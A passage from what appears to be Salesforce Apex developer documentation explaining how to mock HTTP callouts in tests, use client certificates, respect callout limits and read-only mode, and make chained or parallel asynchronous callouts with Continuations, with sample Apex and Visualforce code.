        System.assertEquals(200, res.getStatusCode());
        System.assertEquals('application/json', res.getHeader('Content-Type'));
    }
}

```

Testing HTTP Callouts Using MultiStaticResourceCalloutMock

Apex provides the built-in `MultiStaticResourceCalloutMock` class that you can use to test callouts by specifying the response body in a static resource for each endpoint. This class is similar to `StaticResourceCalloutMock` except that it allows you to specify multiple response bodies. When using this class, you don't have to provide your own implementation of the `HttpCalloutMock` interface. Instead, just create an instance of `MultiStaticResourceCalloutMock` and set the static resource to use per endpoint. You can also set other response properties like the status code and content type.

First, you must create a static resource from a text file to contain the response body. See the procedure outlined in [Testing HTTP Callouts Using StaticResourceCalloutMock](#).

Next, create an instance of `MultiStaticResourceCalloutMock` and set the static resource, and any other properties.

```

MultiStaticResourceCalloutMock multimock = new MultiStaticResourceCalloutMock();
multimock.setStaticResource('https://example.com/example/test', 'mockResponse');
multimock.setStaticResource('https://example.com/example/sfdc', 'mockResponse2');
multimock.setStatusCode(200);
multimock.setHeader('Content-Type', 'application/json');

```

In your test method, call `Test.setMock` to set the mock callout mode and pass it `HttpCalloutMock.class` as the first argument, and the variable name that you created for `MultiStaticResourceCalloutMock` as the second argument.

```

Test.setMock(HttpCalloutMock.class, multimock);

```

After this point, if your test method performs an HTTP callout to one of the endpoints `https://example.com/example/test` or `https://example.com/example/sfdc`, the callout is not made and the Apex runtime sends the corresponding mock response you specified in your instance of `MultiStaticResourceCalloutMock`.

This is a full example containing the test method (`testCalloutWithMultipleStaticResources`) and the method it is testing (`getInfoFromExternalService`) that performs the callout. Before running this example, create a static resource named `mockResponse` based on a text file with the content `{"hah": "fooled you"}` and another named `mockResponse2` based on a text file with the content `{"hah": "fooled you twice"}`. Save each class separately and run the test in `CalloutMultiStaticClassTest`.

```
public class CalloutMultiStaticClass {
    public static HttpResponse getInfoFromExternalService(String endpoint) {
        HttpRequest req = new HttpRequest();
        req.setEndpoint(endpoint);
        req.setMethod('GET');
        Http h = new Http();
        HttpResponse res = h.send(req);
        return res;
    }
}

@isTest
private class CalloutMultiStaticClassTest {
    @isTest static void testCalloutWithMultipleStaticResources() {
        // Use MultiStaticResourceCalloutMock to
        // specify fake response for a certain endpoint and
        // include response body in a static resource.
        MultiStaticResourceCalloutMock multimock = new MultiStaticResourceCalloutMock();
        multimock.setStaticResource(
            'https://example.com/example/test', 'mockResponse');
        multimock.setStaticResource(
            'https://example.com/example/sfdc', 'mockResponse2');
        multimock.setStatusCode(200);
        multimock.setHeader('Content-Type', 'application/json');

        // Set the mock callout mode
        Test.setMock(HttpCalloutMock.class, multimock);

        // Call the method for the first endpoint
        HttpResponse res = CalloutMultiStaticClass.getInfoFromExternalService(
            'https://example.com/example/test');
        // Verify response received
        System.assertEquals('{"hah": "fooled you"}', res.getBody());

        // Call the method for the second endpoint
        HttpResponse res2 = CalloutMultiStaticClass.getInfoFromExternalService(
            'https://example.com/example/sfdc');
        // Verify response received
        System.assertEquals('{"hah": "fooled you twice"}', res2.getBody());
    }
}
```

Performing DML Operations and Mock Callouts

By default, callouts aren't allowed after DML operations in the same transaction because DML operations result in pending uncommitted work that prevents callouts from executing. Sometimes, you might want to insert test data in your test method using DML before making a callout. To enable this, enclose the portion of your code that performs the callout within `Test.startTest` and `Test.stopTest` statements. The `Test.startTest` statement must appear before the `Test.setMock` statement. Also, the calls to DML operations must not be part of the `Test.startTest/Test.stopTest` block.

DML operations that occur after mock callouts are allowed and don't require any changes in test methods.

The DML operations support works for all implementations of mock callouts using: the `HttpCalloutMock` interface and static resources (`StaticResourceCalloutMock` or `MultiStaticResourceCalloutMock`). The following example uses an implemented `HttpCalloutMock` interface but you can apply the same technique when using static resources.

Performing DML Before Mock Callouts

This example is based on the [HttpCalloutMock](#) example provided earlier. The example shows how to use `Test.startTest` and `Test.stopTest` statements to allow DML operations to be performed in a test method before mock callouts. The test method (`testCallout`) first inserts a test account, calls `Test.startTest`, sets the mock callout mode using `Test.setMock`, calls a method that performs the callout, verifies the mock response values, and finally, calls `Test.stopTest`.

```
@isTest
private class CalloutClassTest {
    @isTest static void testCallout() {
        // Perform some DML to insert test data
        Account testAcct = new Account('Test Account');
        insert testAcct;

        // Call Test.startTest before performing callout
        // but after setting test data.
        Test.startTest();

        // Set mock callout class
        Test.setMock(HttpCalloutMock.class, new MockHttpResponseGenerator());

        // Call method to test.
        // This causes a fake response to be sent
        // from the class that implements HttpCalloutMock.
        HttpResponse res = CalloutClass.getInfoFromExternalService();

        // Verify response received contains fake values
        String contentType = res.getHeader('Content-Type');
        System.assert(contentType == 'application/json');
        String actualValue = res.getBody();
        String expectedValue = '{"example":"test"}';
        System.assertEquals(actualValue, expectedValue);
        System.assertEquals(200, res.getStatusCode());

        Test.stopTest();
    }
}
```


Asynchronous Apex and Mock Callouts

Similar to DML, asynchronous Apex operations result in pending uncommitted work that prevents callouts from being performed later in the same transaction. Examples of asynchronous Apex operations are calls to future methods, batch Apex, or scheduled Apex. These asynchronous calls are typically enclosed within `Test.startTest` and `Test.stopTest` statements in test methods so that they execute after `Test.stopTest`. In this case, mock callouts can be performed after the asynchronous calls and no changes are necessary. But if the asynchronous calls aren't enclosed within `Test.startTest` and `Test.stopTest` statements, you'll get an exception because of uncommitted work pending. To prevent this exception, do either of the following:

- Enclose the asynchronous call within `Test.startTest` and `Test.stopTest` statements.

```
Test.startTest();
MyClass.asyncCall();
Test.stopTest();

Test.setMock(..); // Takes two arguments
MyClass.mockCallout();
```

- Follow the same rules as with DML calls: Enclose the portion of your code that performs the callout within `Test.startTest` and `Test.stopTest` statements. The `Test.startTest` statement must appear before the `Test.setMock` statement. Also, the asynchronous calls must not be part of the `Test.startTest/Test.stopTest` block.

```
MyClass.asyncCall();

Test.startTest();
Test.setMock(..); // Takes two arguments
MyClass.mockCallout();
Test.stopTest();
```

Asynchronous calls that occur after mock callouts are allowed and don't require any changes in test methods.

SEE ALSO:

[Apex Reference Guide: Test Class](#)

Using Certificates

To use two-way SSL authentication, send a certificate with your callout that was either generated in Salesforce or signed by a certificate authority (CA). Sending a certificate enhances security because the target of the callout receives the certificate and can use it to authenticate the request against its keystore.

To enable two-way SSL authentication for a callout:

1. [Generate a certificate](#).
2. Integrate the certificate with your code. See [Using Certificates with SOAP Services](#) and [Using Certificates with HTTP Requests](#).
3. If you're connecting to a third party and using a self-signed certificate, share the Salesforce certificate with them so that they can add the certificate to their keystore. If you're connecting to another application, generate and integrate the certificate with your code, and then ensure that the Web or application server is configured to accept the certificate. This process depends on the type of Web or application server you use.
4. Configure the [remote site settings](#) for the callout. Before any Apex callout can call an external site, that site must be registered in the Remote Site Settings page, or the callout fails.

If the callout specifies a named credential as the endpoint, you don't need to configure remote site settings. To set up named credentials, see [Named Credentials and External Credentials](#) in Salesforce Help.

1. [Generating Certificates](#)

2. [Using Certificates with SOAP Services](#)

To support two-way authentication for a callout to a SOAP web service, generate a certificate in Salesforce or import a key pair from a keystore into Salesforce. Then integrate the certificate with your Apex.

3. [Using Certificates with HTTP Requests](#)

Generating Certificates

You can use a self-signed certificate generated in Salesforce or a certificate signed by a certificate authority (CA). To generate a certificate for a callout, see [Generate a Certificate](#).

After you successfully save a Salesforce certificate, the certificate and corresponding keys are automatically generated.

After you create a CA-signed certificate, you must upload the signed certificate before you can use it. See “Generate a Certificate Signed by a Certificate Authority” in the Salesforce online help.

Using Certificates with SOAP Services

To support two-way authentication for a callout to a SOAP web service, generate a certificate in Salesforce or import a key pair from a keystore into Salesforce. Then integrate the certificate with your Apex.

 **Important:** We recommend storing mutual authentication certificates for external web services in a Java keystore. For more information, see [Certificates and Keys](#).

To integrate the certificate with your Apex:

1. Receive the WSDL for the web service from the third party, or generate it from the application you want to connect to.
2. Generate Apex classes from the WSDL for the web service. See [SOAP Services: Defining a Class from a WSDL Document](#).
3. The generated Apex classes include a stub for calling the third-party web service represented by the WSDL document. Edit the Apex classes, and assign a value to a `clientCertName_x` variable on an instance of the stub class. The value must match the `Unique Name` of the certificate that you generated on the Certificate and Key Management page.

This example illustrates editing the Apex classes and works with the sample WSDL file in [Generated WSDL2Apex Code](#). The example assumes that you generated a certificate with the `Unique Name` of `DocSampleCert`.

```
docSample.DocSamplePort stub = new docSample.DocSamplePort();
stub.clientCertName_x = 'DocSampleCert';
String input = 'This is the input string';
String output = stub.EchoString(input);
```

Using Certificates with HTTP Requests

After you have generated a certificate in Salesforce, you can use it to support two-way authentication for a callout to an HTTP request.

To integrate the certificate with your Apex:

1. [Generate a certificate](#). Note the `Unique Name` of the certificate.
2. In your Apex, use the `setClientCertificateName` method of the `HttpRequest` class. The value used for the argument for this method must match the `Unique Name` of the certificate that you generated in the previous step.

The following example illustrates the last step of the previous procedure. This example assumes that you previously generated a certificate with a Unique Name of DocSampleCert.

```
HttpRequest req = new HttpRequest();
req.setClientCertificateName('DocSampleCert');
```

Callout Limits and Limitations

The following limits and limitations apply when Apex code makes a callout to an HTTP request or a web services call. The web services call can be a SOAP API call or any external web services call.

- A single Apex transaction can make a maximum of 100 callouts to an HTTP request or an API call.
- In Developer Edition orgs, you can only make up to 20 concurrent callouts to endpoints outside of your Salesforce org's domain. This limit doesn't apply to non-Developer Edition orgs.
- The default timeout is 10 seconds. A custom timeout can be defined for each callout. The minimum is 1 millisecond and the maximum is 120,000 milliseconds. See the examples in the next section for how to set custom timeouts for Web services or HTTP callouts.
- The maximum cumulative timeout for callouts by a single Apex transaction is 120 seconds. This time is additive across all callouts invoked by the Apex transaction.
- Every org has a limit on long-running requests that run for more than 5 seconds (total execution time). HTTP callout processing time is not included when calculating this limit. We pause the timer for the callout and resume it when the callout completes. See [Execution Governors and Limits](#) for Lightning Platform Apex limits.
- You can't make a callout when there are pending operations in the same transaction. Things that result in pending operations are DML statements, asynchronous Apex (such as future methods and batch Apex jobs), scheduled Apex, or sending email. You can make callouts before performing these types of operations.
- Pending operations can occur before mock callouts in the same transaction. See [Performing DML Operations and Mock Callouts](#) for WSDL-based callouts or [Performing DML Operations and Mock Callouts](#) for HTTP callouts.
- When the header `Expect: 100-Continue` is added to a callout request and a `HTTP/1.1 100 Continue` response isn't returned by the external server, a timeout occurs.

Apex Callouts in Read-Only Mode

During read-only mode, Apex callouts to external services execute and aren't blocked by the system. Typically, you execute some follow-up operations in the same transaction after receiving a response from a callout. For example, you can make a DML call to update a Salesforce record. But write operations in Salesforce, such as record updates, are blocked during read-only mode. This inconsistency in behavior in read-only mode can break your program flow and causes issues. To avoid incorrect program behavior, we recommend that you prevent making callouts in read-only mode. To check whether the org is in read-only mode, call

```
System.getApplicationReadWriteMode().
```

The following example checks the return value of `System.getApplicationReadWriteMode()`. If the return value is equal to `ApplicationReadWriteMode.READ_ONLY` enum value, the org is in read-only mode and the callout is skipped. Otherwise (`ApplicationReadWriteMode.DEFAULT` value), the callout is performed.



Note: This class uses Apex HTTP classes to make a callout as an example. You can also make a callout using an imported WSDL through WSDL2Apex. The process for checking for read-only mode is the same in either case.

```
public class HttpCalloutSampleReadOnly {
    public class MyReadOnlyException extends Exception {}

    // Pass in the endpoint to be used using the string url
    public String getCalloutResponseContents(String url) {
```

```

// Get Read-only mode status
ApplicationReadWriteMode mode = System.getApplicationReadWriteMode();
String returnValue = '';

if (mode == ApplicationReadWriteMode.READ_ONLY) {
    // Prevent the callout
    throw new MyReadOnlyException('Read-only mode. Skipping callouts!');
} else if (mode == ApplicationReadWriteMode.DEFAULT) {
    // Instantiate a new http object
    Http h = new Http();

    // Instantiate a new HTTP request, specify the method (GET)
    // as well as the endpoint.
    HttpRequest req = new HttpRequest();
    req.setEndpoint(url);
    req.setMethod('GET');

    // Send the request, and return a response
    HttpResponse res = h.send(req);
    returnValue = res.getBody();
}
return returnValue;
}
}

```

Your Salesforce org is in read-only mode during some Salesforce maintenance activities, such as planned site switches and instance refreshes. As part of Continuous Site Switching, your Salesforce org is switched to its ready site approximately once every six months. For more information about site switching, see [Continuous Site Switching](#).

To test read-only mode in sandbox, contact Salesforce to enable the read-only mode test option. Once the test option is enabled, you can toggle read-only mode on and verify your apps.

Setting Callout Timeouts

The following example sets a custom timeout for Web services callouts. The example works with the sample WSDL file and the generated `DocSamplePort` class described in [Generated WSDL2Apex Code](#) on page 621. Set the timeout value in milliseconds by assigning a value to the special `timeout_x` variable on the stub.

```

docSample.DocSamplePort stub = new docSample.DocSamplePort();
stub.timeout_x = 2000; // timeout in milliseconds

```

The following is an example of setting a custom timeout for HTTP callouts:

```

HttpRequest req = new HttpRequest();
req.setTimeout(2000); // timeout in milliseconds

```

Make Long-Running Callouts with Continuations


Use asynchronous callouts to make long-running requests from a Visualforce page or a Lightning component to an external Web service and process responses in callback methods.

An asynchronous callout is a callout that is made from a Visualforce page or a Lightning component for which the response is returned through a callback method. An asynchronous callout is also referred to as a *continuation*.

Visualforce Example

This diagram shows the execution path of an asynchronous callout, starting from a Visualforce page. A user invokes an action on a Visualforce page that requests information from a Web service (step 1). The app server hands the callout request to the Continuation server before returning to the Visualforce page (steps 2–3). The Continuation server sends the request to the Web service and receives the response (steps 4–7), then hands the response back to the app server (step 8). Finally, the response is returned to the Visualforce page (step 9).

Execution Flow of an Asynchronous Callout



A typical Salesforce application that benefits from asynchronous callouts contains a Visualforce page with a button. Users click that button to get data from an external Web service. For example, a Visualforce page that gets warranty information for a certain product from a Web service. Thousands of agents in the organization can use this page. Therefore, a hundred of those agents can click the same button to process warranty information for products at the same time. These hundred simultaneous actions exceed the [limit of concurrent long-running requests](#) on page 351. But by using asynchronous callouts, the requests aren't subjected to this limit and can be executed.

In the following example application, the button action is implemented in an Apex controller method. The action method creates a `Continuation` and returns it. After the request is sent to the service, the Visualforce request is suspended. The user must wait for the response to be returned before proceeding with using the page and invoking new actions. When the external service returns a response, the Visualforce request resumes and the page receives this response.

This is the Visualforce page of our sample application. This page contains a button that invokes the `startRequest` method of the controller that's associated with this page. After the continuation result is returned and the callback method is invoked, the button renders the `outputText` component again to display the body of the response.

```

<apex:page controller="ContinuationController" showChat="false" showHeader="false">
  <apex:form >
    <!-- Invokes the action method when the user clicks this button. -->
    <apex:commandButton action="{!startRequest}"
      value="Start Request" reRender="result"/>
  </apex:form>

  <!-- This output text component displays the callout response body. -->
  <apex:outputText id="result" value="{!result}" />
</apex:page>
  
```

The following is the Apex controller that's associated with the Visualforce page. This controller contains the action and callback methods.

 **Note:** Before you can call an external service, you must add the remote site to a list of authorized remote sites in the Salesforce user interface. From Setup, enter *Remote Site Settings* in the Quick Find box, then select **Remote Site Settings**, and then click **New Remote Site**.

If the callout specifies a named credential as the endpoint, you don't need to configure remote site settings. A named credential specifies the URL of a callout endpoint and its required authentication parameters in one definition. To set up named credentials, see [Define a Named Credential in Salesforce Help](#). In your code, specify the named credential URL instead of the long-running service URL. A named credential URL contains the scheme `callout:`, the name of the named credential, and an optional path. For example: `callout:My_Named_Credential/some_path`.

```
public with sharing class ContinuationController {
    // Unique label corresponding to the continuation
    public String requestLabel;
    // Result of callout
    public String result {get;set;}
    // Callout endpoint as a named credential URL
    // or, as shown here, as the long-running service URL
    private static final String LONG_RUNNING_SERVICE_URL =
        '<Insert your service URL>';

    // Action method
    public Object startRequest() {
        // Create continuation with a timeout
        Continuation con = new Continuation(40);
        // Set callback method
        con.continuationMethod='processResponse';

        // Create callout request
        HttpRequest req = new HttpRequest();
        req.setMethod('GET');
        req.setEndpoint(LONG_RUNNING_SERVICE_URL);

        // Add callout request to continuation
        this.requestLabel = con.addHttpRequest(req);

        // Return the continuation
        return con;
    }

    // Callback method
    public Object processResponse() {
        // Get the response by using the unique label
        HttpResponse response = Continuation.getResponse(this.requestLabel);
        // Set the result variable that is displayed on the Visualforce page
        this.result = response.getBody();

        // Return null to re-render the original Visualforce page
        return null;
    }
}
```

 Note:

- You can make up to three asynchronous callouts in a single continuation. Add these callout requests to the same continuation by using the `addHttpRequest` method of the `Continuation` class. The callouts run in parallel for this continuation and suspend the Visualforce request. Only after the external service returns all callouts, the Visualforce process resumes.
- Asynchronous callouts are supported only through a Visualforce page. Making an asynchronous callout by invoking the action method outside a Visualforce page, such as in the Developer Console, isn't supported.
- Asynchronous callouts are available for Apex controllers and Visualforce pages saved in version 30.0 and later. If JavaScript remoting is used, version 31.0 or later is required.
- Asynchronous callouts, including callouts that specify named credentials as the callout endpoint, aren't supported over Private Connect.

Process for Using Asynchronous Callouts

To use asynchronous callouts, create a `Continuation` object in an action method of a controller, and implement a callback method.

Testing Asynchronous Callouts

Write tests to test your controller and meet code coverage requirements for deploying or packaging Apex. Because Apex tests don't support making callouts, you can simulate callout requests and responses. When you're simulating a callout, the request doesn't get sent to the external service, and a mock response is used.

Asynchronous Callout Limits

When a continuation is executing, the continuation-specific limits apply. When the continuation returns and the request resumes, a new Apex transaction starts. All Apex and Visualforce limits apply and are reset in the new transaction, including the Apex callout limits.

Making Multiple Asynchronous Callouts

To make multiple callouts to a long-running service simultaneously from a Visualforce page, you can add up to three requests to the `Continuation` instance. An example of when to make simultaneous callouts is when you're making independent requests to a service, such as getting inventory statistics for two products.

Chaining Asynchronous Callouts

If the order of the callouts matters, or when a callout is conditional on the response of another callout, you can chain callout requests. Chaining callouts means that the next callout is made only after the response of the previous callout returns. For example, you might need to chain a callout to get warranty extension information after the warranty service response indicates that the warranty expired. You can chain up to three callouts.

Making an Asynchronous Callout from an Imported WSDL

In addition to `HttpRequest`-based callouts, asynchronous callouts are supported in Web service calls that are made from WSDL-generated classes. The process of making asynchronous callouts from a WSDL-generated class is similar to the process for using the `HttpRequest` class.

SEE ALSO:

[Named Credentials as Callout Endpoints](#)

[Lightning Web Components Developer Guide: Make Long-Running Callouts with Continuations](#)

Process for Using Asynchronous Callouts

To use asynchronous callouts, create a `Continuation` object in an action method of a controller, and implement a callback method.

Invoking an Asynchronous Callout in an Action Method

To invoke an asynchronous callout, call the external service by using a `Continuation` instance in your Visualforce action method. When you create a continuation, you can specify a timeout value and the name of the callback method. For example, the following creates a continuation with a 60-second timeout and a callback method name of `processResponse`.

```
Continuation cont = new Continuation(60);
cont.continuationMethod = 'processResponse';
```

Next, associate the `Continuation` object to an external callout. To do so, create the HTTP request, and then add this request to the continuation as follows:

```
String requestLabel = cont.addHttpRequest(request);
```



Note: This process is based on making callouts with the `HttpRequest` class. For an example that uses a WSDL-based class, see [Making an Asynchronous Callout from an Imported WSDL](#).

The method that invokes the callout (the action method) must return the `Continuation` object to instruct Visualforce to suspend the current request after the system sends the callout and waits for the callout response. The `Continuation` object holds the details of the callout to be executed.

This is the signature of the method that invokes the callout. The Object return type represents a `Continuation`.

```
public Object calloutActionMethodName()
```

Defining a Callback Method

The response is returned after the external service finishes processing the callout. You can specify a callback method for asynchronous execution after the callout returns. This callback method must be defined in the controller class where the callout invocation method is defined. You can define a callback method to process the returned response, such as retrieving the response for display on a Visualforce page.

The callback method doesn't take any arguments and has this signature.

```
public Object callbackMethodName()
```

The Object return type represents a `Continuation`, a `PageReference`, or `null`. To render the original Visualforce page and finish the Visualforce request, return `null` in the callback method.

If the action method uses JavaScript remoting (is annotated with `@RemoteAction`), the callback method must be static and has the following supported signatures.

```
public static Object callbackMethodName(List< String> labels, Object state)
```

Or:

```
public static Object callbackMethodName(Object state)
```

The `labels` parameter is supplied by the system when it invokes the callback method and holds the labels associated with the callout requests made. The `state` parameter is supplied by setting the `Continuation.state` property in the controller.

This table lists the return values for the callback method. Each return value corresponds to a different behavior.

Table 10: Possible Return Values for the Callback Method

Callback Method Return Value	Request Lifecycle and Outcome
<code>null</code>	The system finishes the Visualforce page request and renders the original Visualforce page (or a portion of it).

Callback Method Return Value	Request Lifecycle and Outcome
PageReference	The system finishes the Visualforce page request and redirects to a new Visualforce page. (Use query parameters in the <code>PageReference</code> to pass the results of the <code>Continuation</code> to the new page.)
Continuation	The system suspends the Visualforce request again and waits for the response of a new callout. Return a new <code>Continuation</code> in the callback method to chain asynchronous callouts.

 **Note:** If the `continuationMethod` property isn't set for a continuation, the same action method that made the callout is called again when the callout response returns.

SEE ALSO:

[Apex Reference Guide: Continuation Class](#)

Testing Asynchronous Callouts

Write tests to test your controller and meet code coverage requirements for deploying or packaging Apex. Because Apex tests don't support making callouts, you can simulate callout requests and responses. When you're simulating a callout, the request doesn't get sent to the external service, and a mock response is used.

The following example shows how to invoke a mock asynchronous callout in a test for a Web service call that uses `HttpRequest`. To simulate callouts in continuations, call these methods of the `Test` class: [Test.setContinuationResponse\(\)](#) and [Test.invokeContinuationMethod\(\)](#).

The controller class to test is listed first, followed by the test class. The controller class from [Make Long-Running Callouts with Continuations](#) is reused here.

```
public with sharing class ContinuationController {
    // Unique label corresponding to the continuation request
    public String requestLabel;
    // Result of callout
    public String result {get;set;}
    // Endpoint of long-running service
    private static final String LONG_RUNNING_SERVICE_URL =
        '<Insert your service URL>';

    // Action method
    public Object startRequest() {
        // Create continuation with a timeout
        Continuation con = new Continuation(40);
        // Set callback method
        con.continuationMethod='processResponse';

        // Create callout request
        HttpRequest req = new HttpRequest();
        req.setMethod('GET');
        req.setEndpoint(LONG_RUNNING_SERVICE_URL);
```

```

    // Add callout request to continuation
    this.requestLabel = con.addHttpRequest(req);

    // Return the continuation
    return con;
}

// Callback method
public Object processResponse() {
    // Get the response by using the unique label
    HttpResponse response = Continuation.getResponse(this.requestLabel);
    // Set the result variable that is displayed on the Visualforce page
    this.result = response.getBody();

    // Return null to re-render the original Visualforce page
    return null;
}
}

```

This example shows the test class corresponding to the controller. This test class contains a test method for testing an asynchronous callout. In the test method, `Test.setContinuationResponse` sets a mock response, and `Test.invokeContinuationMethod` causes the callback method for the continuation to be executed. The test ensures that the callback method processed the mock response by verifying that the controller's result variable is set to the expected response.

```

@isTest
public class ContinuationTestingForHttpRequest {
    public static testmethod void testWebService() {
        ContinuationController controller = new ContinuationController();
        // Invoke the continuation by calling the action method
        Continuation conti = (Continuation)controller.startRequest();

        // Verify that the continuation has the proper requests
        Map<String, HttpRequest> requests = conti.getRequests();
        system.assert(requests.size() == 1);
        system.assert(requests.get(controller.requestLabel) != null);

        // Perform mock callout
        // (i.e. skip the callout and call the callback method)
        HttpResponse response = new HttpResponse();
        response.setBody('Mock response body');
        // Set the fake response for the continuation
        Test.setContinuationResponse(controller.requestLabel, response);
        // Invoke callback method
        Object result = Test.invokeContinuationMethod(controller, conti);
        // result is the return value of the callback
        System.assertEquals(null, result);
        // Verify that the controller's result variable
        // is set to the mock response.
        System.assertEquals('Mock response body', controller.result);
    }
}

```

Asynchronous Callout Limits

When a continuation is executing, the continuation-specific limits apply. When the continuation returns and the request resumes, a new Apex transaction starts. All Apex and Visualforce limits apply and are reset in the new transaction, including the Apex callout limits.

Continuation-Specific Limits

The following are Apex and Visualforce limits that are specific to a continuation.

Description	Limit
Maximum number of parallel Apex callouts in a single continuation	3
Maximum number of chained Apex callouts	3
Maximum timeout for a single continuation ¹	120 seconds
Maximum Visualforce controller-state size ²	80 KB
Maximum HTTP response size	1 MB
Maximum HTTP POST form size—the size of all keys and values in the form ³	1 MB
Maximum number of keys in the HTTP POST form ³	500

¹ The timeout that is specified in the autogenerated Web service stub and in the `HttpRequest` objects is ignored. Only this timeout limit is enforced for a continuation.

² When the continuation is executed, the Visualforce controller is serialized. When the continuation is completed, the controller is deserialized and the callback is invoked. Use the Apex `transient` modifier to designate a variable that is not to be serialized. The framework uses only serialized members when it resumes. The controller-state size limit is separate from the view state limit. See [Differences Between Continuation Controller State and Visualforce View State](#).

³ This limit is for HTTP POST forms with the following content type headers:
`content-type='application/x-www-form-urlencoded'` and `content-type='multipart/form-data'`

Differences Between Continuation Controller State and Visualforce View State

Controller state and view state are distinct. Controller state for a continuation consists of the serialization of all controllers that are involved in the request, not only the controller that invokes the continuation. The serialized controllers include controller extensions, and custom and internal component controllers. The controller state size is logged in the debug log as a `USER_DEBUG` event.

View state holds more data than the controller state and has a higher maximum size (170KB). The view state contains state and component structure. State is serialization of all controllers and all the attributes of each component on a page, including subpages and subcomponents. Component structure is the parent-child relationship of components that are in the page. You can monitor the view state size in the Developer Console or in the footer of a Visualforce page when development mode is enabled. For more information, see “View State Tab” in the Salesforce Help or refer to the [Visualforce Developer's Guide](#).

Making Multiple Asynchronous Callouts

To make multiple callouts to a long-running service simultaneously from a Visualforce page, you can add up to three requests to the Continuation instance. An example of when to make simultaneous callouts is when you're making independent requests to a service, such as getting inventory statistics for two products.

When you're making multiple callouts in the same continuation, the callout requests run in parallel and suspend the Visualforce request. Only after all callout responses are returned does the Visualforce process resume.

The following Visualforce and Apex examples show how to make two asynchronous callouts simultaneously by using a single continuation. The Visualforce page is shown first. The Visualforce page contains a button that invokes the action method `startRequestsInParallel` in the controller. When the Visualforce process resumes, the `outputPanel` component is rendered again. This panel displays the responses of the two asynchronous callouts.

```
<apex:page controller="MultipleCalloutController" showChat="false" showHeader="false">
  <apex:form >
    <!-- Invokes the action method when the user clicks this button. -->
    <apex:commandButton action="{!startRequestsInParallel}" value="Start Request"
reRender="panel"/>
  </apex:form>

  <apex:outputPanel id="panel">
    <!-- Displays the response body of the initial callout. -->
    <apex:outputText value="{!result1}" />

    <br/>
    <!-- Displays the response body of the chained callout. -->
    <apex:outputText value="{!result2}" />
  </apex:outputPanel>
</apex:page>
```

This example shows the controller class for the Visualforce page. The `startRequestsInParallel` method adds two requests to the Continuation. After all callout responses are returned, the callback method (`processAllResponses`) is invoked and processes the responses.

```
public with sharing class MultipleCalloutController {

  // Unique label for the first request
  public String requestLabel1;
  // Unique label for the second request
  public String requestLabel2;
  // Result of first callout
  public String result1 {get;set;}
  // Result of second callout
  public String result2 {get;set;}
  // Endpoints of long-running service
  private static final String LONG_RUNNING_SERVICE_URL1 =
    '<Insert your first service URL>';
  private static final String LONG_RUNNING_SERVICE_URL2 =
    '<Insert your second service URL>';

  // Action method
  public Object startRequestsInParallel() {
    // Create continuation with a timeout
    Continuation con = new Continuation(60);
    // Set callback method
    con.continuationMethod='processAllResponses';

    // Create first callout request
    HttpRequest req1 = new HttpRequest();
```

```

req1.setMethod('GET');
req1.setEndpoint(LONG_RUNNING_SERVICE_URL1);

// Add first callout request to continuation
this.requestLabel1 = con.addHttpRequest(req1);

// Create second callout request
HttpRequest req2 = new HttpRequest();
req2.setMethod('GET');
req2.setEndpoint(LONG_RUNNING_SERVICE_URL2);

// Add second callout request to continuation
this.requestLabel2 = con.addHttpRequest(req2);

// Return the continuation
return con;
}

// Callback method.
// Invoked only when responses of all callouts are returned.
public Object processAllResponses() {
    // Get the response of the first request
    HttpResponse response1 = Continuation.getResponse(this.requestLabel1);
    this.result1 = response1.getBody();

    // Get the response of the second request
    HttpResponse response2 = Continuation.getResponse(this.requestLabel2);
    this.result2 = response2.getBody();

    // Return null to re-render the original Visualforce page
    return null;
}
}

```

Chaining Asynchronous Callouts

If the order of the callouts matters, or when a callout is conditional on the response of another callout, you can chain callout requests. Chaining callouts means that the next callout is made only after the response of the previous callout returns. For example, you might need to chain a callout to get warranty extension information after the warranty service response indicates that the warranty expired. You can chain up to three callouts.

The following Visualforce and Apex examples show how to chain one callout to another. The Visualforce page is shown first. The Visualforce page contains a button that invokes the action method `invokeInitialRequest` in the controller. The Visualforce process is suspended each time a continuation is returned. The Visualforce process resumes after each response is returned and renders each response in the `outputPanel` component.

```

<apex:page controller="ChainedContinuationController" showChat="false" showHeader="false">

    <apex:form >
        <!-- Invokes the action method when the user clicks this button. -->
        <apex:commandButton action="{!invokeInitialRequest}" value="Start Request"
reRender="panel"/>
    </apex:form>

```

```

<apex:outputPanel id="panel">
    <!-- Displays the response body of the initial callout. -->
    <apex:outputText value="{!result1}" />

    <br/>
    <!-- Displays the response body of the chained callout. -->
    <apex:outputText value="{!result2}" />
</apex:outputPanel>

</apex:page>

```

This example shows the controller class for the Visualforce page. The `invokeInitialRequest` method creates the first continuation. The callback method (`processInitialResponse`) processes the response of the first callout. If this response meets a certain condition, the method chains another callout by returning a second continuation. After the response of the chained continuation is returned, the second callback method (`processChainedResponse`) is invoked and processes the second response.

```

public with sharing class ChainedContinuationController {

    // Unique label for the initial callout request
    public String requestLabel1;
    // Unique label for the chained callout request
    public String requestLabel2;
    // Result of initial callout
    public String result1 {get;set;}
    // Result of chained callout
    public String result2 {get;set;}
    // Endpoint of long-running service
    private static final String LONG_RUNNING_SERVICE_URL1 =
        '<Insert your first service URL>';
    private static final String LONG_RUNNING_SERVICE_URL2 =
        '<Insert your second service URL>';

    // Action method
    public Object invokeInitialRequest() {
        // Create continuation with a timeout
        Continuation con = new Continuation(60);
        // Set callback method
        con.continuationMethod='processInitialResponse';

        // Create first callout request
        HttpRequest req = new HttpRequest();
        req.setMethod('GET');
        req.setEndpoint(LONG_RUNNING_SERVICE_URL1);

        // Add initial callout request to continuation
        this.requestLabel1 = con.addHttpRequest(req);

        // Return the continuation
        return con;
    }

    // Callback method for initial request
    public Object processInitialResponse() {
        // Get the response by using the unique label

```

```

    HttpResponse response = Continuation.getResponse(this.requestLabel1);
    // Set the result variable that is displayed on the Visualforce page
    this.result1 = response.getBody();

    Continuation chainedContinuation = null;
    // Chain continuation if some condition is met
    if (response.getBody().toLowerCase().contains('expired')) {
        // Create a second continuation
        chainedContinuation = new Continuation(60);
        // Set callback method
        chainedContinuation.continuationMethod='processChainedResponse';

        // Create callout request
        HttpRequest req = new HttpRequest();
        req.setMethod('GET');
        req.setEndpoint(LONG_RUNNING_SERVICE_URL2);

        // Add callout request to continuation
        this.requestLabel2 = chainedContinuation.addHttpRequest(req);
    }

    // Start another continuation
    return chainedContinuation;
}

// Callback method for chained request
public Object processChainedResponse() {
    // Get the response for the chained request
    HttpResponse response = Continuation.getResponse(this.requestLabel2);
    // Set the result variable that is displayed on the Visualforce page
    this.result2 = response.getBody();

    // Return null to re-render the original Visualforce page
    return null;
}
}

```



